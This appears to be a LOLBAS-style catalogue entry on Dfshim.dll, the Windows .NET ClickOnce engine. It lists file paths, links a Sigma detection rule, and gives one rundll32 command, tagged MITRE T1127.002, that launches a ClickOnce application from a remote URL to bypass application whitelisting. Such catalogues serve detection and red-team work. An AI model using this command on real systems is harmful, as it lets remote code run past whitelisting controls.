Dfshim.dll

type: OSLibraries

ClickOnce engine in Windows used by .NET

Full path

C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe

Commands

AWL BypassUser T1127.002
Use binary to bypass Application whitelisting
```
rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}
```
Executes click-once-application from URL (trampoline for Dfsvc.exe, DotNet ClickOnce host)
os: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute: ClickOnceExecute: Remote

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml

Resources

acknowledgement: Casey Smith @subtee